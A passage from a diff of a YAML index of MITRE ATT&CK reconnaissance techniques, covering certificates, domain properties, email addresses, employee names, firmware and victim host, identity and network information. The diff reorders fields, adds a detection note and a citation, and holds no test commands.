+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca
       description: |-
         Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.
 
         Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
-      id: attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:48:37.628Z'
-      created: '2020-10-02T16:58:58.738Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1596/003
+        external_id: T1596.003
+        source_name: mitre-attack
+      - url: https://www.sslshopper.com/ssl-checker.html
+        description: SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.
+        source_name: SSLShopper Lookup
+      - url: https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2
+        description: Jain, M. (2019, September 16). Export & Download — SSL Certificate
+          from Server (Site URL). Retrieved October 20, 2020.
+        source_name: Medium SSL Cert
     atomic_tests: []
   T1590.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1590.001
-        url: https://attack.mitre.org/techniques/T1590/001
-      - source_name: WHOIS
-        url: https://www.whois.net/
-        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
-      - source_name: DNS Dumpster
-        url: https://dnsdumpster.com/
-        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
-      - source_name: Circl Passive DNS
-        url: https://www.circl.lu/services/passive-dns/
-        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
-          Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Domain Properties
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:30:33.508Z'
+      created: '2020-10-02T15:46:24.670Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d
       description: |-
         Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.
 
         Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
-      id: attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:30:33.508Z'
-      created: '2020-10-02T15:46:24.670Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1590/001
+        external_id: T1590.001
+        source_name: mitre-attack
+      - url: https://www.whois.net/
+        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
+        source_name: WHOIS
+      - url: https://dnsdumpster.com/
+        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
+        source_name: DNS Dumpster
+      - url: https://www.circl.lu/services/passive-dns/
+        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
+          Retrieved October 20, 2020.
+        source_name: Circl Passive DNS
     atomic_tests: []
   T1589.002:
     technique:
-      created: '2020-10-02T14:56:24.866Z'
-      modified: '2021-04-15T03:27:19.702Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: reconnaissance
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Email Addresses
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:27:19.702Z'
+      created: '2020-10-02T14:56:24.866Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
       id: attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262
       description: |-
         Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.
 
         Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
-      name: Email Addresses
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1589.002
-        url: https://attack.mitre.org/techniques/T1589/002
-      - source_name: HackersArise Email
-        url: https://www.hackers-arise.com/email-scraping-and-maltego
-        description: Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved
-          October 20, 2020.
-      - source_name: CNET Leaks
-        url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
-        description: Ng, A. (2019, January 17). Massive breach leaks 773 million email
-          addresses, 21 million passwords. Retrieved October 20, 2020.
-      x_mitre_platforms:
-      - PRE
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: reconnaissance
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1589/002
+        external_id: T1589.002
+        source_name: mitre-attack
+      - url: https://www.hackers-arise.com/email-scraping-and-maltego
+        description: Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved
+          October 20, 2020.
+        source_name: HackersArise Email
+      - url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
+        description: Ng, A. (2019, January 17). Massive breach leaks 773 million email
+          addresses, 21 million passwords. Retrieved October 20, 2020.
+        source_name: CNET Leaks
     atomic_tests: []
   T1589.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1589.003
-        url: https://attack.mitre.org/techniques/T1589/003
-      - source_name: OPM Leak
-        url: https://www.opm.gov/cybersecurity/cybersecurity-incidents/
-        description: Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS.
-          Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Employee Names
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:27:49.437Z'
+      created: '2020-10-02T14:57:15.906Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156
       description: |-
         Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.
 
         Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
-      id: attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:27:49.437Z'
-      created: '2020-10-02T14:57:15.906Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1589/003
+        external_id: T1589.003
+        source_name: mitre-attack
+      - url: https://www.opm.gov/cybersecurity/cybersecurity-incidents/
+        description: Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS.
+          Retrieved October 20, 2020.
+        source_name: OPM Leak
     atomic_tests: []
   T1592.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1592.003
-        url: https://attack.mitre.org/techniques/T1592/003
-      - source_name: ArsTechnica Intel
-        url: https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/
-        description: Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel
-          source code and proprietary data dumped online. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Firmware
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:22:46.759Z'
+      created: '2020-10-02T16:46:42.537Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d
       description: |-
         Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).
 
         Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
-      id: attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:22:46.759Z'
-      created: '2020-10-02T16:46:42.537Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1592/003
+        external_id: T1592.003
+        source_name: mitre-attack
+      - url: https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/
+        description: Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel
+          source code and proprietary data dumped online. Retrieved October 20, 2020.
+        source_name: ArsTechnica Intel
     atomic_tests: []
   T1592:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1592
-        url: https://attack.mitre.org/techniques/T1592
-      - source_name: ATT ScanBox
-        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
-        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
-          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Gather Victim Host Information
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:35:09.878Z'
+      created: '2020-10-02T16:39:33.966Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f
       description: |-
         Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).
 
         Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
-      id: attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:23:58.024Z'
-      created: '2020-10-02T16:39:33.966Z'
       x_mitre_detection: |-
-        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+        Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)
 
-        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - PRE
+        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1592
+        external_id: T1592
+        source_name: mitre-attack
+      - url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
+        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
+          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
+        source_name: ATT ScanBox
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
     atomic_tests: []
   T1589:
     technique:
-      created: '2020-10-02T14:54:59.263Z'
-      modified: '2021-04-15T03:27:49.579Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: reconnaissance
       type: attack-pattern
-      id: attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4
+      modified: '2021-04-15T03:27:49.579Z'
       name: Gather Victim Identity Information
+      x_mitre_version: '1.0'
+      created: '2020-10-02T14:54:59.263Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4
       description: |-
         Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.
 
         Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1589
-        url: https://attack.mitre.org/techniques/T1589
-      - source_name: OPM Leak
-        url: https://www.opm.gov/cybersecurity/cybersecurity-incidents/
-        description: Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS.
-          Retrieved October 20, 2020.
-      - source_name: Register Deloitte
-        url: https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/
-        description: 'Thomson, I. (2017, September 26). Deloitte is a sitting duck:
-          Key systems with RDP open, VPN and proxy ''login details leaked''. Retrieved
-          October 19, 2020.'
-      - source_name: Register Uber
-        url: https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/
-        description: McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub
-          into court to find who hacked database of 50,000 drivers. Retrieved October
-          19, 2020.
-      - source_name: Detectify Slack Tokens
-        url: https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/
-        description: Detectify. (2016, April 28). Slack bot token leakage exposing
-          business critical information. Retrieved October 19, 2020.
-      - source_name: Forbes GitHub Creds
-        url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196
-        description: Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud
-          Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved
-          October 19, 2020.
-      - source_name: GitHub truffleHog
-        url: https://github.com/dxa4481/truffleHog
-        description: Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October
-          19, 2020.
-      - source_name: GitHub Gitrob
-        url: https://github.com/michenriksen/gitrob
-        description: 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open
-          Source in OSINT. Retrieved October 19, 2020.'
-      - source_name: CNET Leaks
-        url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
-        description: Ng, A. (2019, January 17). Massive breach leaks 773 million email
-          addresses, 21 million passwords. Retrieved October 20, 2020.
-      x_mitre_platforms:
-      - PRE
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: reconnaissance
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1589
+        external_id: T1589
+        source_name: mitre-attack
+      - url: https://www.opm.gov/cybersecurity/cybersecurity-incidents/
+        description: Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS.
+          Retrieved October 20, 2020.
+        source_name: OPM Leak
+      - url: https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/
+        description: 'Thomson, I. (2017, September 26). Deloitte is a sitting duck:
+          Key systems with RDP open, VPN and proxy ''login details leaked''. Retrieved
+          October 19, 2020.'
+        source_name: Register Deloitte
+      - url: https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/
+        description: McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub
+          into court to find who hacked database of 50,000 drivers. Retrieved October
+          19, 2020.
+        source_name: Register Uber
+      - url: https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/
+        description: Detectify. (2016, April 28). Slack bot token leakage exposing
+          business critical information. Retrieved October 19, 2020.
+        source_name: Detectify Slack Tokens
+      - url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196
+        description: Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud
+          Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved
+          October 19, 2020.
+        source_name: Forbes GitHub Creds
+      - url: https://github.com/dxa4481/truffleHog
+        description: Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October
+          19, 2020.
+        source_name: GitHub truffleHog
+      - url: https://github.com/michenriksen/gitrob
+        description: 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open
+          Source in OSINT. Retrieved October 19, 2020.'
+        source_name: GitHub Gitrob
+      - url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
+        description: Ng, A. (2019, January 17). Massive breach leaks 773 million email
+          addresses, 21 million passwords. Retrieved October 20, 2020.
+        source_name: CNET Leaks
     atomic_tests: []
   T1590:
     technique:
-      created: '2020-10-02T15:45:17.628Z'
-      modified: '2021-04-15T03:34:23.229Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: reconnaissance
       type: attack-pattern
+      modified: '2021-04-15T03:34:23.229Z'
+      name: Gather Victim Network Information
+      x_mitre_version: '1.0'
+      created: '2020-10-02T15:45:17.628Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
       id: attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109
       description: |-
         Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.
 
         Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
-      name: Gather Victim Network Information
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1590
-        url: https://attack.mitre.org/techniques/T1590
-      - source_name: WHOIS
-        url: https://www.whois.net/
-        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
-      - source_name: DNS Dumpster
-        url: https://dnsdumpster.com/
-        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
-      - source_name: Circl Passive DNS
-        url: https://www.circl.lu/services/passive-dns/
-        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
-          Retrieved October 20, 2020.
-      x_mitre_platforms:
-      - PRE
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
-      x_mitre_detection: |-
-        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
-
-        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-    atomic_tests: []
-  T1591:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1591
-        url: https://attack.mitre.org/techniques/T1591
-      - source_name: ThreatPost Broadvoice Leak
-        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
-        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
-          Personal Voicemail Transcripts. Retrieved October 20, 2020.
-      - source_name: DOB Business Lookup
-        url: https://www.dobsearch.com/business-lookup/
-        description: Concert Technologies . (n.d.). Business Lookup - Company Name
-          Search. Retrieved October 20, 2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Gather Victim Org Information
-      description: |-
-        Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.
-
-        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
-      id: attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:39:09.021Z'
-      created: '2020-10-02T16:27:02.339Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1590
+        external_id: T1590
+        source_name: mitre-attack
+      - url: https://www.whois.net/
+        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
+        source_name: WHOIS
+      - url: https://dnsdumpster.com/
